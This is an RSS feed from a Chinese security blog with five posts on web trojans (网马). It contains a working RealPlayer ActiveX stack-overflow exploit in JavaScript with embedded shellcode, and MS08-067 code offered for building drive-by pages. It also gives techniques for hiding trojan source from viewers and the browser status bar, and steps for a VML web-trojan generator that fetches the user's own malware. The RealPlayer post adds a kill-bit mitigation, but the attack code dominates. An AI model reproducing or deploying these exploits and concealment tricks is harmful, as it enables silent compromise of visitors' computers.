<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; 网马</title>
	<atom:link href="http://www.4shell.org/archives/tag/%e7%bd%91%e9%a9%ac/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>swf网马的解密</title>
		<link>http://www.4shell.org/archives/1113.html</link>
		<comments>http://www.4shell.org/archives/1113.html#comments</comments>
		<pubDate>Tue, 22 Sep 2009 06:21:17 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[网马]]></category>
		<category><![CDATA[解密]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1113.html</guid>
		<description><![CDATA[作者：isno 现在都流行用flash挂马了，一般都用SWF Encrypt来加密，很难反编译出其中的AS脚本。但是基于无论是AS还是JS来heapspray，其中都会调用import flash.external.*;ExternalInterface.call("eval","xxxx");。如果是这种形式的我们就可以利用 hook eval的方法来解密: 相关文章2009年09月23日 -- 解密标准操作流程2008年11月2日 -- MS08-067网马2008年09月6日 -- 让网马原代码隐藏2007年11月25日 -- RealPlayer 最新网马2006年09月27日 -- 过Windows SP2的IE_VML网页木马生成器]]></description>
			<content:encoded><![CDATA[<p>作者：isno</p>
<p>现在都流行用flash挂马了，一般都用SWF Encrypt来加密，很难反编译出其中的AS脚本。但是基于无论是AS还是JS来heapspray，其中都会调用import flash.external.*;ExternalInterface.call("eval","xxxx");。如果是这种形式的我们就可以利用 hook eval的方法来解密:</p>
<p><span id="more-1113"></span></p>
<blockquote><p>
<html><br />
<body><br />
<script type="text/javascript">
<!--
var _eval = eval;
window.eval = function(s) {
alert(s);
_eval(s);
}
//-->
</script><br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="1" height="1" id="gm" align="middle"><param name="allowScriptAccess" value="sameDomain" /><param name="movie" value="gm.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="gm.swf" quality="high" bgcolor="#ffffff" width="1" height="1" name="gm" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /><br />
</object><br />
</body><br />
</html>
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月23日 -- <a href="http://www.4shell.org/archives/1121.html" title="解密标准操作流程">解密标准操作流程</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/523.html" title="MS08-067网马">MS08-067网马</a></li><li>2008年09月6日 -- <a href="http://www.4shell.org/archives/317.html" title="让网马原代码隐藏">让网马原代码隐藏</a></li><li>2007年11月25日 -- <a href="http://www.4shell.org/archives/252.html" title="RealPlayer 最新网马">RealPlayer 最新网马</a></li><li>2006年09月27日 -- <a href="http://www.4shell.org/archives/38.html" title="过Windows SP2的IE_VML网页木马生成器">过Windows SP2的IE_VML网页木马生成器</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1113.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS08-067网马</title>
		<link>http://www.4shell.org/archives/523.html</link>
		<comments>http://www.4shell.org/archives/523.html#comments</comments>
		<pubDate>Sun, 02 Nov 2008 15:33:33 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[MS08-067]]></category>
		<category><![CDATA[网马]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/523.html</guid>
		<description><![CDATA[已经出来有一周了，很多人还在忙着编译，放个可以做网马的exploit出来。<br />又一场腥风血雨<br /><br />#include <br /><br />// This is the decompiled function sub_5B86A51B in netapi32.dll on XP SP3<br /><br />int ms08_067(wchar_t* path)<br />{<br />wchar_t* p;<br />wchar_t* q;<br />wchar_t* previous_slash = NULL;<br />wchar_t* current_slash = NULL;<br />...
]]></description>
			<content:encoded><![CDATA[<p>已经出来有一周了，很多人还在忙着编译，放个可以做网马的exploit出来。<br />又一场腥风血雨</p>
<p class="code"><code>#include&nbsp;</p>
<p>//&nbsp;This&nbsp;is&nbsp;the&nbsp;decompiled&nbsp;function&nbsp;sub_5B86A51B&nbsp;in&nbsp;netapi32.dll&nbsp;on&nbsp;XP&nbsp;SP3</p>
<p>int&nbsp;ms08_067(wchar_t*&nbsp;path)<br />{<br />wchar_t*&nbsp;p;<br />wchar_t*&nbsp;q;<br />wchar_t*&nbsp;previous_slash&nbsp;=&nbsp;NULL;<br />wchar_t*&nbsp;current_slash&nbsp;=&nbsp;NULL;<br />wchar_t&nbsp;ch;</p>
<p>//&nbsp;If&nbsp;the&nbsp;path&nbsp;starts&nbsp;with&nbsp;a&nbsp;server&nbsp;name,&nbsp;skip&nbsp;it</p>
<p>if&nbsp;((path[0]&nbsp;==&nbsp;L'\\'&nbsp;||&nbsp;path[0]&nbsp;==&nbsp;L'/')&nbsp;&#038;&<br />(path[1]&nbsp;==&nbsp;L'\\'&nbsp;||&nbsp;path[1]&nbsp;==&nbsp;L'/'))<br />{<br />p&nbsp;=&nbsp;path+2;</p>
<p>while&nbsp;(*p&nbsp;!=&nbsp;L'\\'&nbsp;||&nbsp;*p&nbsp;!=&nbsp;L'/')&nbsp;{<br />if&nbsp;(*p&nbsp;==&nbsp;L'\0')<br />return&nbsp;0;<br />p++;<br />}</p>
<p>p++;</p>
<p>//&nbsp;make&nbsp;path&nbsp;point&nbsp;after&nbsp;the&nbsp;server&nbsp;name</p>
<p>path&nbsp;=&nbsp;p;</p>
<p>//&nbsp;make&nbsp;sure&nbsp;the&nbsp;server&nbsp;name&nbsp;is&nbsp;followed&nbsp;by&nbsp;a&nbsp;single&nbsp;slash</p>
<p>if&nbsp;(path[0]&nbsp;==&nbsp;L'\\'&nbsp;||&nbsp;path[0]&nbsp;==&nbsp;L'/')<br />return&nbsp;0;<br />}</p>
<p>if&nbsp;(path[0]&nbsp;==&nbsp;L'\0')&nbsp;//&nbsp;return&nbsp;if&nbsp;the&nbsp;path&nbsp;is&nbsp;empty<br />return&nbsp;1;</p>
<p>//&nbsp;Iterate&nbsp;through&nbsp;the&nbsp;path&nbsp;and&nbsp;canonicalize&nbsp;..\&nbsp;and&nbsp;.\</p>
<p>p&nbsp;=&nbsp;path;</p>
<p>while&nbsp;(1)&nbsp;{<br />if&nbsp;(*p&nbsp;==&nbsp;L'\\')&nbsp;{<br />//&nbsp;we&nbsp;have&nbsp;a&nbsp;slash</p>
<p>if&nbsp;(current_slash&nbsp;==&nbsp;p-1)&nbsp;//&nbsp;don't&nbsp;allow&nbsp;consequtive&nbsp;slashes<br />return&nbsp;0;</p>
<p>//&nbsp;store&nbsp;the&nbsp;locations&nbsp;of&nbsp;the&nbsp;current&nbsp;and&nbsp;previous&nbsp;slashes</p>
<p>previous_slash&nbsp;=&nbsp;current_slash;<br />current_slash&nbsp;=&nbsp;p;<br />}<br />else&nbsp;if&nbsp;(*p&nbsp;==&nbsp;L'.'&nbsp;&#038;&&nbsp;(current_slash&nbsp;==&nbsp;p-1&nbsp;||&nbsp;p&nbsp;==&nbsp;path))&nbsp;{<br />//&nbsp;we&nbsp;have&nbsp;\.&nbsp;or&nbsp;^.</p>
<p>if&nbsp;(p[1]&nbsp;==&nbsp;L'.'&nbsp;&#038;&&nbsp;(p[2]&nbsp;==&nbsp;L'\\'&nbsp;||&nbsp;p[2]&nbsp;==&nbsp;L'\0'))&nbsp;{<br />//&nbsp;we&nbsp;have&nbsp;a&nbsp;\..\,&nbsp;\..$,&nbsp;^..\&nbsp;or&nbsp;^..$&nbsp;sequence</p>
<p>if&nbsp;(previous_slash&nbsp;==&nbsp;NULL)<br />return&nbsp;0;</p>
<p>//&nbsp;example:&nbsp;aaa\bbb\..\ccc<br />//&nbsp;^&nbsp;^&nbsp;^<br />//&nbsp;|&nbsp;|&nbsp;&#038;p[2]<br />//&nbsp;|&nbsp;|<br />//&nbsp;|&nbsp;current_slash<br />//&nbsp;|<br />//&nbsp;previous_slash</p>
<p>ch&nbsp;=&nbsp;p[2];</p>
<p>wcscpy(previous_slash,&nbsp;&#038;p[2]);</p>
<p>if&nbsp;(ch&nbsp;==&nbsp;L'\0')<br />return&nbsp;1;</p>
<p>current_slash&nbsp;=&nbsp;previous_slash;<br />p&nbsp;=&nbsp;previous_slash;</p>
<p>//&nbsp;find&nbsp;the&nbsp;slash&nbsp;before&nbsp;p</p>
<p>//&nbsp;BUG:&nbsp;if&nbsp;previous_slash&nbsp;points&nbsp;to&nbsp;the&nbsp;beginning&nbsp;of&nbsp;the<br />//&nbsp;string,&nbsp;we'll&nbsp;go&nbsp;beyond&nbsp;the&nbsp;start&nbsp;of&nbsp;the&nbsp;buffer<br />//<br />//&nbsp;example&nbsp;string:&nbsp;\a\..\</p>
<p>q&nbsp;=&nbsp;p-1;</p>
<p>while&nbsp;(*q&nbsp;!=&nbsp;L'\\'&nbsp;&#038;&&nbsp;q&nbsp;!=&nbsp;path)<br />q--;</p>
<p>if&nbsp;(*p&nbsp;==&nbsp;L'\\')<br />previous_slash&nbsp;=&nbsp;q;<br />else<br />previous_slash&nbsp;=&nbsp;NULL;<br />}<br />else&nbsp;if&nbsp;(p[1]&nbsp;==&nbsp;L'\\')&nbsp;{<br />//&nbsp;we&nbsp;have&nbsp;\.\&nbsp;or&nbsp;^.\</p>
<p>if&nbsp;(current_slash&nbsp;!=&nbsp;NULL)&nbsp;{<br />wcscpy(current_slash,&nbsp;&#038;p[1]);<br />goto&nbsp;end_of_loop;<br />}<br />else&nbsp;{&nbsp;//&nbsp;current_slash&nbsp;==&nbsp;NULL<br />wcscpy(p,&nbsp;p+2);<br />goto&nbsp;end_of_loop;<br />}<br />}<br />else&nbsp;if&nbsp;(p[1]&nbsp;!=&nbsp;L'\0')&nbsp;{<br />//&nbsp;we&nbsp;have&nbsp;\.&nbsp;or&nbsp;^.&nbsp;followed&nbsp;by&nbsp;some&nbsp;other&nbsp;char</p>
<p>if&nbsp;(current_slash&nbsp;!=&nbsp;NULL)&nbsp;{<br />p&nbsp;=&nbsp;current_slash;<br />}<br />*p&nbsp;=&nbsp;L'\0';<br />return&nbsp;1;<br />}<br />}</p>
<p>p++;</p>
<p>end_of_loop:<br />if&nbsp;(*p&nbsp;==&nbsp;L'\0')<br />return&nbsp;1;<br />}<br />}</p>
<p>//&nbsp;Run&nbsp;this&nbsp;program&nbsp;to&nbsp;simulate&nbsp;the&nbsp;MS08-067&nbsp;vulnerability</p>
<p>int&nbsp;main()<br />{<br />return&nbsp;ms08_067(L"\\a\\..\\");<br />}&nbsp;<br /></code></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1113.html" title="swf网马的解密">swf网马的解密</a></li><li>2008年10月31日 -- <a href="http://www.4shell.org/archives/516.html" title="MS08-067 check">MS08-067 check</a></li><li>2008年10月30日 -- <a href="http://www.4shell.org/archives/503.html" title="ASPXshell MS08-067插件">ASPXshell MS08-067插件</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/500.html" title="MS08-067漏洞的触发条件">MS08-067漏洞的触发条件</a></li><li>2008年10月29日 -- <a href="http://www.4shell.org/archives/494.html" title="MS08-067 Exploit for CN 2k/xp/2003 .net version">MS08-067 Exploit for CN 2k/xp/2003 .net version</a></li><li>2008年10月26日 -- <a href="http://www.4shell.org/archives/480.html" title="Alexander Sotirov逆出来的MS08-067问题函数伪代码">Alexander Sotirov逆出来的MS08-067问题函数伪代码</a></li><li>2008年10月26日 -- <a href="http://www.4shell.org/archives/479.html" title="关于MS08-067的一点细节">关于MS08-067的一点细节</a></li><li>2008年10月26日 -- <a href="http://www.4shell.org/archives/478.html" title="MS08067补丁前后比较分析结果">MS08067补丁前后比较分析结果</a></li><li>2008年09月6日 -- <a href="http://www.4shell.org/archives/317.html" title="让网马原代码隐藏">让网马原代码隐藏</a></li><li>2007年11月25日 -- <a href="http://www.4shell.org/archives/252.html" title="RealPlayer 最新网马">RealPlayer 最新网马</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/523.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让网马原代码隐藏</title>
		<link>http://www.4shell.org/archives/317.html</link>
		<comments>http://www.4shell.org/archives/317.html#comments</comments>
		<pubDate>Sat, 06 Sep 2008 00:36:56 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[网马]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/317.html</guid>
		<description><![CDATA[<p>网马再怎么加密,都有可能被反加密的可能,为了更好保护自己的代码,看看这办法,但这办法对付不了抓包分析,数据包抓取也是没办法的</p><p>目的:查看源代码没有内容,查看缓冲区也没内容</p><p>1.asp文件写法</p><p>&#60;%'禁止缓冲区<br />&#160;&#160;&#160; Response.CacheControl = &#34;no-cache&#34;<br />&#160;&#160;&#160; Response.AddHeader &#34;Pragma&#34;, &#34;no-cache&#34;<br />...</p>
]]></description>
			<content:encoded><![CDATA[<p>网马再怎么加密,都有可能被反加密的可能,为了更好保护自己的代码,看看这办法,但这办法对付不了抓包分析,数据包抓取也是没办法的</p>
<p>目的:查看源代码没有内容,查看缓冲区也没内容</p>
<p>1.asp文件写法</p>
<p>&lt;%'禁止缓冲区<br />
Response.CacheControl = "no-cache"<br />
Response.AddHeader "Pragma", "no-cache"<br />
Response.Expires = 0<br />
%&gt;<br />
-----------代码-----------------<br />
&lt;script&gt;function clear(){document.write("");}window.onload = clear;&lt;/script&gt;</p>
<p>2HTML写法</p>
<p>&lt;HEAD&gt;<br />
&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt;<br />
&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"&gt;<br />
&lt;META HTTP-EQUIV="Expires" CONTENT="0"&gt;<br />
&lt;/HEAD&gt;</p>
<p>-----------代码-----------------</p>
<p>&lt;script&gt;function clear(){document.write("");}window.onload = clear;&lt;/script&gt;</p>
<p>让网马地址在IE状态栏不显示网马地址</p>
<p>function c(){<br />
window.status="完毕";<br />
}<br />
setInterval(c,1);</p>
<p>&nbsp;</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1113.html" title="swf网马的解密">swf网马的解密</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/523.html" title="MS08-067网马">MS08-067网马</a></li><li>2007年11月25日 -- <a href="http://www.4shell.org/archives/252.html" title="RealPlayer 最新网马">RealPlayer 最新网马</a></li><li>2006年09月27日 -- <a href="http://www.4shell.org/archives/38.html" title="过Windows SP2的IE_VML网页木马生成器">过Windows SP2的IE_VML网页木马生成器</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/317.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RealPlayer 最新网马</title>
		<link>http://www.4shell.org/archives/252.html</link>
		<comments>http://www.4shell.org/archives/252.html#comments</comments>
		<pubDate>Sun, 25 Nov 2007 04:33:33 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[RealPlayer]]></category>
		<category><![CDATA[网马]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/252.html</guid>
		<description><![CDATA[关于该漏洞的说明(来自绿盟):<br /><br />Quotation<br />RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞<br />RealPlayer是一款流行的媒体播放器，支持多种媒体格式。<br /><br />RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。<br /><br />由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表，因此如果用户受骗访问了恶意网页并通过IERPCtl ActiveX控件的Import()方式导入了恶意文件的话，就可以触发这个溢出，导致拒绝服务或执行任意指令。<br />
]]></description>
			<content:encoded><![CDATA[<p class="code"><code>&lt;script&nbsp;language="javascript"&gt;<br />eval("function&nbsp;RealExploit()<br />{<br />var&nbsp;user&nbsp;=&nbsp;navigator.userAgent.toLowerCase();<br />if(user.indexOf("msie&nbsp;6")==-1&#038;&user.indexOf("msie&nbsp;7")==-1)<br />&nbsp;&nbsp;return;<br />if(user.indexOf("nt&nbsp;5.")==-1)<br />&nbsp;&nbsp;return;<br />VulObject&nbsp;=&nbsp;"IER"&nbsp;+&nbsp;"PCtl.I"&nbsp;+&nbsp;"ERP"&nbsp;+&nbsp;"Ctl.1";<br />try<br />{<br />&nbsp;&nbsp;Real&nbsp;=&nbsp;new&nbsp;ActiveXObject(VulObject);<br />}catch(error)<br />{<br />&nbsp;&nbsp;return;<br />}<br />RealVersion&nbsp;=&nbsp;Real.PlayerProperty("PRODUCTVERSION");<br />Padding&nbsp;=&nbsp;"";<br />JmpOver&nbsp;=&nbsp;unescape("%75%06%74%04");<br />for(i=0;i&lt;32*148;i++)<br />&nbsp;&nbsp;Padding&nbsp;+=&nbsp;"S";</p>
<p>if(RealVersion.indexOf("6.0.14.")&nbsp;==&nbsp;-1)<br />{<br />&nbsp;&nbsp;if(navigator.userLanguage.toLowerCase()&nbsp;==&nbsp;"zh-cn")<br />&nbsp;&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%7f%a5%60");<br />&nbsp;&nbsp;else&nbsp;if(navigator.userLanguage.toLowerCase()&nbsp;==&nbsp;"en-us")<br />&nbsp;&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%4f%71%a4%60");<br />&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;return;<br />}<br />else&nbsp;if(RealVersion&nbsp;==&nbsp;"6.0.14.544")<br />&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%63%11%08%60");<br />else&nbsp;if(RealVersion&nbsp;==&nbsp;"6.0.14.550")<br />&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%63%11%04%60");<br />else&nbsp;if(RealVersion&nbsp;==&nbsp;"6.0.14.552")<br />&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%79%31%01%60");<br />else&nbsp;if(RealVersion&nbsp;==&nbsp;"6.0.14.543")<br />&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%79%31%09%60");<br />else&nbsp;if(RealVersion&nbsp;==&nbsp;"6.0.14.536")<br />&nbsp;&nbsp;ret&nbsp;=&nbsp;unescape("%51%11%70%63");<br />else<br />&nbsp;&nbsp;return;</p>
<p>if(RealVersion.indexOf("6.0.10.")&nbsp;!=&nbsp;-1)<br />{<br />&nbsp;&nbsp;for(i=0;i&lt;4;i++)<br />&nbsp;&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;JmpOver;<br />&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;ret;<br />}<br />else&nbsp;if(RealVersion.indexOf("6.0.11.")&nbsp;!=&nbsp;-1)<br />{<br />&nbsp;&nbsp;for(i=0;i&lt;6;i++)<br />&nbsp;&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;JmpOver;<br />&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;ret;<br />}<br />else&nbsp;if(RealVersion.indexOf("6.0.12.")&nbsp;!=&nbsp;-1)<br />{<br />&nbsp;&nbsp;for(i=0;i&lt;9;i++)<br />&nbsp;&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;JmpOver;<br />&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;ret;<br />}<br />else&nbsp;if(RealVersion.indexOf("6.0.14.")&nbsp;!=&nbsp;-1)<br />{<br />&nbsp;&nbsp;for(i=0;i&lt;10;i++)<br />&nbsp;&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;JmpOver;<br />&nbsp;&nbsp;&nbsp;Padding&nbsp;=&nbsp;Padding&nbsp;+&nbsp;ret;<br />}</p>
<p>AdjESP&nbsp;=&nbsp;"LLLL\\XXXXXLD";<br />Shell&nbsp;=&nbsp;"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp";<br />PayLoad&nbsp;=&nbsp;Padding&nbsp;+&nbsp;AdjESP&nbsp;+&nbsp;Shell;<br />while(PayLoad.length&nbsp;&lt;&nbsp;0x8000)<br />&nbsp;&nbsp;PayLoad&nbsp;+=&nbsp;"YuanGe";&nbsp;//&nbsp;汗~袁哥~-.=!<br />Real.Import("c:\\Program&nbsp;Files\\NetMeeting\\TestSnd.wav",&nbsp;PayLoad,"",&nbsp;0,&nbsp;0);<br />}<br />RealExploit();")<br />&lt;/script&gt;<br /></code></p>
<p>关于该漏洞的说明(来自绿盟):</p>
<p>Quotation<br />RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞<br />RealPlayer是一款流行的媒体播放器，支持多种媒体格式。</p>
<p>RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。</p>
<p>由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表，因此如果用户受骗访问了恶意网页并通过IERPCtl ActiveX控件的Import()方式导入了恶意文件的话，就可以触发这个溢出，导致拒绝服务或执行任意指令。</p>
<p>< *来源：Will Dormann<br/>  <br />  链接：http://www.symantec.com/enterprise/security_response/weblog/2007/10/realplayer_exploit_on_the_loos.h<br />        http://www.kb.cert.org/vuls/id/871673<br />        http://service.real.com/realplayer/security/191007_player/en/<br />        http://secunia.com/advisories/27248/<br />        http://www.us-cert.gov/cas/techalerts/TA07-297A.html<br />*></p>
<p>建议：<br />--------------------------------------------------------------------------------<br />临时解决方法：</p>
<p>在IE中禁用IERPCtl ActiveX控件，为以下CLSID设置kill bit：</p>
<p>{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}</p>
<p>或将以下文本保存为.REG文件并导入：</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}]<br />"Compatibility Flags"=dword:00000400</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1113.html" title="swf网马的解密">swf网马的解密</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/523.html" title="MS08-067网马">MS08-067网马</a></li><li>2008年09月6日 -- <a href="http://www.4shell.org/archives/317.html" title="让网马原代码隐藏">让网马原代码隐藏</a></li><li>2006年09月27日 -- <a href="http://www.4shell.org/archives/38.html" title="过Windows SP2的IE_VML网页木马生成器">过Windows SP2的IE_VML网页木马生成器</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/252.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>过Windows SP2的IE_VML网页木马生成器</title>
		<link>http://www.4shell.org/archives/38.html</link>
		<comments>http://www.4shell.org/archives/38.html#comments</comments>
		<pubDate>Wed, 27 Sep 2006 05:47:17 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[资源共享]]></category>
		<category><![CDATA[网马]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/38.html</guid>
		<description><![CDATA[文章作者：XiaoC<br/>信息来源：邪恶八进制信息安全团队（www.eviloctal.com）<br/><br/>本人根据jamikazu 的代码修改的，克服了n0p的溢出只能在2000系统上运行的缺陷！<br/>过Windows SP2的IE_VML网页木马生成器<br/>过Windows SP2
]]></description>
			<content:encoded><![CDATA[<p>文章作者：XiaoC<br/>信息来源：邪恶八进制信息安全团队（www.eviloctal.com）<br/><br/>本人根据jamikazu 的代码修改的，克服了n0p的溢出只能在2000系统上运行的缺陷！<br/>过Windows SP2的IE_VML网页木马生成器<br/>过Windows SP2 <br/><br/>使用方法：<br/>注：请勿直接运行Shellcode.exe！<br/>1.用记事本打开“生成.bat” 修改http://www.cc99.cn/xxx.exe为你的马的地址。<br/>2.保存“生成.bat”后双击运行，即可生成ShellCode.txt.<br/>3.用记事本打开IE_VML.htm，找到#########Your Shellcode!!!#########的字样，<br/>把生成的ShellCode.txt中的Shellcode复制替换#########Your Shellcode!!!#########，保存！<br/>4.网页木马就这样生成拉！<br/>本程序仅供学习使用，请务用于非法用途，否则后果自负！<br/>利用代码提供<br/>Author: jamikazu <br/>Mail: jamikazu@gmail.com<br/>Credit: metasploit, SkyLined<br/>感谢n0p提供Shellcode<br/>XiaoC修改合成制作<br/><br/>下载地址：http://www.cc99.cn/viewdown.asp?id=66</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年09月22日 -- <a href="http://www.4shell.org/archives/1113.html" title="swf网马的解密">swf网马的解密</a></li><li>2008年11月2日 -- <a href="http://www.4shell.org/archives/523.html" title="MS08-067网马">MS08-067网马</a></li><li>2008年09月6日 -- <a href="http://www.4shell.org/archives/317.html" title="让网马原代码隐藏">让网马原代码隐藏</a></li><li>2007年11月25日 -- <a href="http://www.4shell.org/archives/252.html" title="RealPlayer 最新网马">RealPlayer 最新网马</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/38.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

